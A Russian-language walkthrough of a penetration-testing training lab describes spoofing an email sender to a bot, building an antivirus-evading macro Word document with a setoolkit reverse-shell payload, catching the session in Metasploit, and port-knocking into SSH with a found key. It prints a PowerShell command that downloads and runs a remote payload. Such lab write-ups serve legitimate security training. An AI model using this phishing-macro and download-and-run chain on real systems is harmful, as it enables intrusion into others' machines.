Имя и пароль b.muncy в почту! Вот мы и подобрались вплотную к заданию mail.
Roundcube Mail
В лаборатории используется сервер Roundcube, в котором было много уязвимостей, но в данной версии все известные уже исправлены.
Попробуем с другой стороны. Заходим в почту с паролем от b.muncy:
![](https://habrastorage.org/files/e07/664/c00/e07664c00d2e48c79f0b1a360698d6e9.png)
Почтовый ящик пустой. Но, так как на портале был робот, автоматически проверяющий почту, попробуем отослать сообщения другим аккаунтам, которые мы уже узнали.
Один из них — r.diaz — отвечает на письма! Пробуем отправить ему что-то еще.
![](https://habrastorage.org/files/a37/551/02d/a3755102d629404c8dbec4e2446d02c2.png)
И получаем ответ:
![](https://habrastorage.org/files/d5b/d31/aeb/d5bd31aeb1df44f9ba03090272fdc553.png)
После общения с ботом становится понятно, что нужно применять social engineering. Пробуем отсылать боту разные файлы: PDF, Word-документы и так далее. И вот, на одну из таких отправок бот реагирует!
![](https://habrastorage.org/files/fc9/1e8/936/fc91e8936d004b0191356449e9258fa4.png)
Если отправить в аттачменте Word-документ, он выдает токен и сообщение о том, что такого рода файлы можно открывать, только если они приходят от r.lampman-a. Попробуем это сделать!
Terminal
На сервере terminal закрыт порт 3389 для rdp, а в оставшихся нет ничего интересного. Где, как ни там, спрятался r.diaz и открывает Word-документы!
Я сделал предположение, что на сервере terminal установлен Microsoft Security Essentials, как это было и на сервере terminal2, и локально установил Windows с таким же антивирусом, чтобы потестировать на месте прежде, чем отправлять документ.
Атака, в данном случае, получается многоступенчатая. Чтобы получить сессию на terminal, нам нужно:
- научиться отправлять письма r.diaz-у от r.lampman (его пароля к почте у нас нет),
- сформировать документ с reverse shell payload,
- обойти антивирус Microsoft Security Essentials,
- включить listener на своем компьютере на порту 443 (только 80 и 443 открыты изнутри сети).
Отправка писем
Попробуем написать скрипт, который будет автоматически отправлять письма r.diaz-у от имени r.lampman с использованием пароля b.muncy.
Для этого будем подставлять нужный адрес в поле FROM:
![](https://habrastorage.org/files/f15/671/c5c/f15671c5c99e45b2ab4e7fc08ad0ce8b.png)
Здесь важно несколько вещей:
- заменить значение поле FROM на нужное,
- подставить правильный MIME-тип, чтобы было понятно, что отправляется именно Word-документ
- не забыть закодировать документ в base64, чтобы он не испортился при передаче,
- пробросить порт 587 с 172.16.0.1 на локальную машину:
Формируем payload
Теперь нужно создать Word-документ, который не определяется антивирусами как зараженный. После множества неудачных попыток (удобно тестировать в своей среде перед настоящей атакой), получилось выработать рабочий вариант.
Не будем весь payload сохранять сразу в документ, а сделаем так, чтобы он скачивал его с нашего сервера. Для этого сделаем следующее:
1. Используем setoolkit для создания payload:
![](https://habrastorage.org/files/cae/6b8/2f1/cae6b82f1779405283e108a2c5cea4f9.png)
Выбираем опцию 1 (Social-Engineering Attacks), затем 9 (Powershell Attack Vectors) и затем 1 (Powershell Alphanumeric Shellcode Injector):
![](https://habrastorage.org/files/85c/dcb/36e/85cdcb36e26e4e0d8470e15d5f471d94.png)
Запускаем на локальной машине веб сервер и копируем полученный payload из /root/.set/reports/powershell в /var/www/html/payload.txt:
![](https://habrastorage.org/files/742/8d1/b99/7428d1b99de9445ea26ecb0dcff1ca03.png)
Проверяем, что файл доступен:
![](https://habrastorage.org/files/a56/4e1/2b9/a564e12b96d0493bb183603c70d17b6b.png)
2. Формируем документ
Я использовал этот вариант запуска, описанный в этой статье.
Как показано, нам нужно обфусцировать команду загрузки payload:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_ip>/payload.txt'))"
Чтобы это сделать, можно использовать Java-апплет из статьи, доступный здесь. Запускаем:
![](https://habrastorage.org/files/4ae/925/e93/4ae925e930da42078daecbc8744303db.png)
Вводим:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_pentestit_ip>/payload.txt'))"
Получаем результат и вставляем в документ. Я добавил еще Document_Open() на всякий случай.
![](https://habrastorage.org/files/9f9/0e9/0d5/9f90e90d5c3b4752b2140d9c3a46bf7a.png)
При добавлении макроса важно сохранить его именно в документ, а не в шаблон Normal.
Сохраняем документ с расширением docm, кладем в папочку со скриптом senddoc.py, и теперь остался последний шаг.
3. Запускаем Metasploit
![](https://habrastorage.org/files/ba5/087/27d/ba508727d2c8418bbf00e6027b1ec996.png)
Перед запуском еще раз проходимся по небольшому «чеклисту»:
- payload доступен по адресу your_ip/payload.txt,
- порт 587 с 172.16.0.1 проброшен на локальный 127.0.0.1,
- документ находится в папке вместе со скриптом для отправки почты.
Запускаем!
![](https://habrastorage.org/files/31b/e13/897/31be138975da424eb5126e8d932c6133.png)
И через минуту:
![](https://habrastorage.org/files/266/8f0/915/2668f09156eb4052bc5b56db5a8d2325.png)
Идем в C:\Users\r.diaz\Desktop и получаем токен!
![](https://habrastorage.org/files/c96/617/44a/c9661744a72449dda8fd9017586bfb70.png)
SSH-TEST — последний барьер
Остается последний сервер, на который пока что мы не нашли никаких зацепок в сети. Просканировав все его порты, определяем, что ни один из них не отвечает.
При этом все, кроме трех, отвечают нам RST пакетами (закрыты), а 3 — просто отбрасывают все приходящие на них пакеты.
![](https://habrastorage.org/files/660/609/fa3/660609fa3b5a40418f7dcd4f08d49b6f.png)
Это наводит на мысль о том, что в эти порты нужно «постучать» в надежде на то, что порт 22 (ssh) откроется при правильной комбинации на мгновение, за которое мы успеем к нему подключиться.
Кстати, на сервере ssh мы в самом начале прохождения нашли ключ в папке .ssh у пользователя d.nash:
![](https://habrastorage.org/files/831/914/2a7/8319142a7c3b49868f265e3151a660e8.png)
Наверняка он нам здесь пригодится. Итак, для того, чтобы стучать в нужный порт, делаем следующее:
Запускаем sshuttle, чтобы ходить к серверу напрямую:
![](https://habrastorage.org/files/17a/9b3/afa/17a9b3afa15f4eaf8d851761a3781cdd.png)
Удобно указать нужную подсеть, чтобы остался доступ в Интернет.
Копируем ключ d.nash id_rsa себе на диск:
![](https://habrastorage.org/files/b83/4e3/8b5/b834e38b5cdf4590b01f6655655a4b6f.png)
Устанавливаем утилиту knock, которой будем стучать в нужные порты:
![](https://habrastorage.org/files/59f/22a/4b5/59f22a4b5fc445379408c47742006de1.png)
Пробуем 6 комбинаций этих трех портов, и одна из них срабатывает!
![](https://habrastorage.org/files/4b0/b67/894/4b0b67894dde432bb34d33ce77e60efe.png)
Вот и последний токен! Лаборатория пройдена.
Послесловие
Этот документ описывает всего лишь один из способов прохождения лаборатории. Уверен, что вариантов очень много. Если вы знаете какой-то интересный способ решения той или иной задачи, о котором я здесь не упомянул, буду рад узнать о нем в комментариях.
Надеюсь, что эта статья поможет тем, кто еще не занимался пентестом, окунуться в мир информационной безопасности и попробовать себя в настоящем практическом тестировании.
Лаборатория будет доступна до ноября, поэтому времени на обучение будет достаточно, а этот writeup поможет начать. Не сдавайтесь в процессе, и, как говорится: Try Harder.
Удачи!